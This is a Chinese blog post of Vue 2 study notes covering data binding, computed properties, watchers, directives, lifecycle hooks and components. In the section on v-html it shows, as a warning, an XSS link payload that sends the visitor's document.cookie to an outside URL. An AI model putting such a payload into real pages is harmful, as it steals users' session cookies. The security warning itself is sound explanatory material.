vue2学习总结一

小叶_01

已于 2022-07-13 17:00:00 修改

阅读量413

点赞数 1

分类专栏： vue 文章标签： javascript 前端 vue

于 2022-07-11 17:11:11 首次发布

本文链接：https://blog.csdn.net/qq_38799387/article/details/125725406

版权

vue 专栏收录该内容

13 篇文章 1 订阅

订阅专栏

1.vue介绍

Vue是一套用于构建用户界面（数据->界面）的渐进式（简单应用（一个轻量小巧的核心库）->复杂应用（可以引入各种各样的Vue插件））的javaScript框架
开发者（尤雨溪）
2015发布了1.0版本
2016年发布2.0版本
2020年发布vue3.0

2.特点

1.采用组件化模式，提高代码复用率，且让代码更好维护
2.声明式编码（v-for=”p in persons”），直接操作DOM，提高开发效率以前的是命令式编码
3.使用虚拟DOM+优秀的Diff算法，尽量复用DOM节点
4.遵循 MVVM 模式

3.前端开发高标准

在这里插入图片描述

4.MVVM 模型

1.M：模型(Model) ：对应 data 中的数据
2.V：视图(View) ：模板
2.VM：视图模型(ViewModel) ： Vue 实例对象
观察发现：
1.data中所有的属性，最后都出现在了vm身上。
2.vm身上所有的属性及 Vue原型上所有属性，在Vue模板中都可以直接使用。
在这里插入图片描述
官网截图

5.vue的2种数据绑定方式

1.单向绑定(v-bind)：数据只能从data流向页面。
2.双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data。
备注：
1.双向绑定一般都应用在表单类元素上（如：input、select等）
2.v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值。

6.el的2种写法（el用来指定绑定的容器）

(1).new Vue时候配置el属性。
(2).先创建Vue实例，随后再通过vm.$mount(‘#root’)指定el的值。

7.数据代理

7.1概念

通过一个对象代理对另一个对象中属性的操作（读/写）

let obj = {x:100}
let obj2 = {y:200}
Object.defineProperty(obj2,'x',{
	get(){
		return obj.x
	},
	set(value){
		obj.x = value
	}
})

7.2Vue中的数据代理：

通过vm对象来代理data对象中属性的操作（读/写）

7.3Vue中数据代理的好处：

更加方便的操作data中的数据

7.4基本原理：

通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性，都指定一个getter/setter。
在getter/setter内部去操作（读/写）data中对应的属性。

8.Vue中的事件修饰符

1.prevent：阻止默认事件（常用）；
2.stop：阻止事件冒泡（常用）；
3.once：事件只触发一次（常用）；
4.capture：使用事件的捕获模式；
5.self：只有event.target是当前操作的元素时才触发事件；
6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕；
注：可以串联使用

9.键盘事件

9.1Vue中常用的按键别名（不重要）

回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊，必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right

9.2Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）

9.3系统修饰键（用法特殊）：ctrl、alt、shift、meta

(1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
(2).配合keydown使用：正常触发事件。

9.4也可以使用keyCode去指定具体的按键（不推荐）

9.5Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名

Vue.config.keyCodes.huiche = 13

10计算属性

1.定义：要用的属性不存在，要通过已有属性计算得来。
2.原理：底层借助了Objcet.defineproperty方法提供的getter和setter。（代理）
3.get函数什么时候执行？
(1).初次读取时会执行一次。
(2).当依赖的数据发生改变时会被再次调用。
4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。
5.备注：
1.计算属性最终会出现在vm上，直接读取使用即可。
2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

computed:{
	//完整写法
	/* fullName:{
		get(){
			console.log('get被调用了')
			return this.firstName + '-' + this.lastName
		},
		set(value){
			console.log('set',value)
			const arr = value.split('-')
			this.firstName = arr[0]
			this.lastName = arr[1]
		}
	} */
	//简写
	fullName(){
		console.log('get被调用了')
		return this.firstName + '-' + this.lastName
	}
}

11.监听

1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
2.监视的属性必须存在，才能进行监视！！
3.监视的两种写法：
(1).new Vue时传入watch配置
(2).通过vm.$watch监视
4.深度监视：
(1).Vue中的watch默认不监测对象内部值的改变（一层）。
(2).配置deep:true可以监测对象内部值改变（多层）。

watch:{
	//正常写法
	/* isHot:{
		// immediate:true, //初始化时让handler调用一下
		// deep:true,//深度监视
		handler(newValue,oldValue){
			console.log('isHot被修改了',newValue,oldValue)
		}
	}, */
	//简写
	/* isHot(newValue,oldValue){
		console.log('isHot被修改了',newValue,oldValue,this)
	} */
}

//正常写法
/* vm.$watch('isHot',{
	immediate:true, //初始化时让handler调用一下
	deep:true,//深度监视
	handler(newValue,oldValue){
		console.log('isHot被修改了',newValue,oldValue)
	}
}) */

//简写
/* vm.$watch('isHot',(newValue,oldValue)=>{
	console.log('isHot被修改了',newValue,oldValue,this)
}) */

12.computed和watch之间的区别：

1.computed能完成的功能，watch都可以完成。
2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。
3、功能上：computed是计算属性，watch是监听一个值的变化，然后执行对应的回调。
4、是否调用缓存：computed中的函数所依赖的属性没有发生变化，那么调用当前的函数的时候会从缓存中读取，而watch在每次监听的值发生变化的时候都会执行回调。
5、是否调用return：computed中的函数必须要用return返回，watch中的函数不是必须要用return。
6、computed默认第一次加载的时候就开始监听；watch默认第一次加载不做监听，如果需要第一次加载做监听，添加immediate属性，设置为true（immediate:true）

两个重要的小原则：
1.所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或组件实例对象。
2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，
这样this的指向才是vm 或组件实例对象。

13.条件渲染：

1.v-if
写法：
(1).v-if=“表达式”
(2).v-else-if=“表达式”
(3).v-else=“表达式”
适用于：切换频率较低的场景。
特点：不展示的DOM元素直接被移除。
通过控制vue的虚拟dom树上的节点，来联动控制真实dom上的节点，从而控制元素的显示、隐藏
注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。
2.v-show
写法：v-show=“表达式”
适用于：切换频率较高的场景。
特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉
通过css样式中的dispaly：none；控制元素显示、隐藏
3.备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。

14.列表渲染

14.1.v-for指令

1.用于展示列表数据
2.语法：v-for=“(item, index) in xxx” :key=“yyy”
3.可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

14.2.react、vue中的key有什么作用？（key的内部原理）

14.2.1. 虚拟DOM中key的作用：

key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：
对比规则：
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！
②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM，随后渲染到到页面。

14.2.2. 用index作为key可能会引发的问题：

若对数据进行：逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
如果结构中还包含输入类的DOM：
会产生错误DOM更新 ==> 界面有问题。

14.2.3. 开发中如何选择key?:

1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，
使用index作为key是没有问题的。

15.Vue监视数据的原理：

1. vue会监视data中所有层次的数据。
2. 如何监测对象中的数据？
				通过setter实现监视，且要在new Vue时就传入要监测的数据。
					(1).对象中后追加的属性，Vue默认不做响应式处理
					(2).如需给后添加的属性做响应式，请使用如下API：
									Vue.set(target，propertyName/index，value) 或 
									vm.$set(target，propertyName/index，value)
					(3).如需给后添加的属性做响应式，请使用如下API：
									Vue.delete(target，propertyName/index，value) 或 
									vm.$delete(target，propertyName/index，value)
									
3. 如何监测数组中的数据？
					通过包裹数组更新元素的方法实现，本质就是做了两件事：
						(1).调用原生对应的方法对数组进行更新。
						(2).重新解析模板，进而更新页面。
4.在Vue修改数组中的某个元素一定要用如下方法：
			1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
			2.Vue.set() 或 vm.$set()
特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性！！！

16.收集表单数据

若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
例：
	男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
	女<input type="radio" name="sex" v-model="userInfo.sex" value="female">
若：<input type="checkbox"/>
		1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
		2.配置input的value属性:
				(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
				(2)v-model的初始值是数组，那么收集的的就是value组成的数组
备注：v-model的三个修饰符 ：
				lazy：失去焦点再收集数据
				number：输入字符串转为有效的数字
				trim：输入首尾空格过滤

17.过滤器：

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：
		1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
		2.使用过滤器：{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
备注： 
		1.过滤器也可以接收额外参数、多个过滤器也可以串联
		2.并没有改变原本的数据, 是产生新的对应的数据
		3.只适用于v-bind或者插值表达式

//全局过滤器
Vue.filter('mySlice',function(value){
	return value.slice(0,4)
})
//局部过滤器
filters:{
	timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
		// console.log('@',value)
		return dayjs(value).format(str)
	}
}

18.内置指令

v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染（动态控制节点是否存存在）
v-else : 条件渲染（动态控制节点是否存存在）
v-show : 条件渲染 (动态控制节点是否展示)

v-text指令：
					1.作用：向其所在的节点中渲染文本内容。
					2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
v-html指令：
					1.作用：向指定节点中渲染包含html结构的内容。
					2.与插值语法的区别：
								(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
								(2).v-html可以识别html结构。
					3.严重注意：v-html有安全性问题！！！！
								(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
			'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>'携带自身的cookie给别人了，cookie不能跨浏览器
								(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
v-cloak指令（没有值）：
					1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
					2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

[v-cloak]{
	display:none;
}
<h2 v-cloak>{{name}}</h2>

v-once指令：
					1.v-once所在节点在初次动态渲染后，就视为静态内容了。
					2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
v-pre指令：
				1.跳过其所在节点的编译过程。
				2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

19.自定义指令*

自定义指令总结：
	一、定义语法：
				(1).局部指令：
							new Vue({															new Vue({
								directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
							}) 																		})
				(2).全局指令：
								Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

//局部指令
directives:{
//入参：element:dom,binding:对象,vnode:虚拟dom 
	big(element,binding){
		console.log('big',this) //注意此处的this是window
		// console.log('big')
		element.innerText = binding.value * 10
	},
	fbind:{
		//指令与元素成功绑定时（一上来）
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	}
}

//定义全局指令
/* Vue.directive('fbind',{
	//指令与元素成功绑定时（一上来）
	bind(element,binding){
		element.value = binding.value
	},
	//指令所在元素被插入页面时
	inserted(element,binding){
		element.focus()
	},
	//指令所在的模板被重新解析时
	update(element,binding){
		element.value = binding.value
	}
}) */

	二、配置对象中常用的3个回调：
				(1).bind：指令与元素成功绑定时调用。
				(2).inserted：指令所在元素被插入页面时调用。
				(3).update：指令所在模板结构被重新解析时调用。

				bind:绑定时，自定义指令绑定于相应dom时执行（类似于vue生命周期的beforeMount） 
			    inserted:指令所在dom添加到父节点时执行，渲染时（类似于以前的mounted）    
			    update:更新时，不保证更新完成（指令所在组件有更新时执行），不保证该更新和当前指令所在dom有关 
				componentUpdated:更新完成时，指令所在组件更新完成（类似于以前vue生命周期的updated）
			    unbind:解除绑定，类似于beforeDestroy

	三、备注：
				1.指令定义时不加v-，但使用时要加v-；
				2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

20.生命周期：

1.又名：生命周期回调函数、生命周期函数、生命周期钩子。
2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。
4.生命周期函数中的this指向是vm 或 组件实例对象。

总结
![在这里插入图片描述](https://img-blog.csdnimg.cn/99203269e86b402fad271f4edd7f78d7.png#pic_center
常用的生命周期钩子：
1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例
		1.销毁后借助Vue开发者工具看不到任何信息。
		2.销毁后自定义事件会失效，但原生DOM事件依然有效。
		3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。

在这里插入图片描述

21.组件

**data必须写成函数，为什么？ ———— 避免组件被复用时，数据存在引用关系

Vue中使用组件的三大步骤：
		一、定义组件(创建组件)
		二、注册组件
		三、使用组件(写组件标签)

一、如何定义一个组件？
	使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别；
	区别如下：
			1.el不要写，为什么？ ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。
			2.data必须写成函数，为什么？ ———— **避免组件被复用时，数据存在引用关系。**
	备注：使用template可以配置组件结构。

const student = Vue.extend({
	template:`
		<div>
			<h2>学生姓名：{{studentName}}</h2>
			<h2>学生年龄：{{age}}</h2>
		</div>
	`,
	data(){
		return {
			studentName:'张三',
			age:18
		}
	}
})

二、如何注册组件？
				1.局部注册：靠new Vue的时候传入components选项

//第二步：注册组件（局部注册）
			components:{
				school,
				student
			}

				2.全局注册：靠Vue.component('组件名',组件)

//第二步：全局注册组件
		Vue.component('hello',hello)

三、编写组件标签：
				<school></school>
				
几个注意点：
	1.关于组件名:
					一个单词组成：
								第一种写法(首字母小写)：school
								第二种写法(首字母大写)：School
					多个单词组成：
								第一种写法(kebab-case命名)：my-school
								第二种写法(CamelCase命名)：MySchool (需要Vue脚手架支持)
					备注：
							(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。
							(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

	2.关于组件标签:
				第一种写法：<school></school>
				第二种写法：<school/>
				备注：不用使用脚手架时，<school/>会导致后续组件不能渲染。
school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。

我们只需要写<school/>或<school></school>，Vue解析时会帮我们创建school组件的实例对象，
即Vue帮我们执行的：new VueComponent(options)。

每次调用Vue.extend，返回的都是一个全新的VueComponent

1.一个重要的内置关系：VueComponent.prototype.proto === Vue.prototype
2.为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法。

const d = new Demo()
console.log(Demo.prototype) //显示原型属性  (函数才有)
console.log(d.__proto__) //隐式原型属性  （实例对象有）
console.log(Demo.prototype === d.__proto__)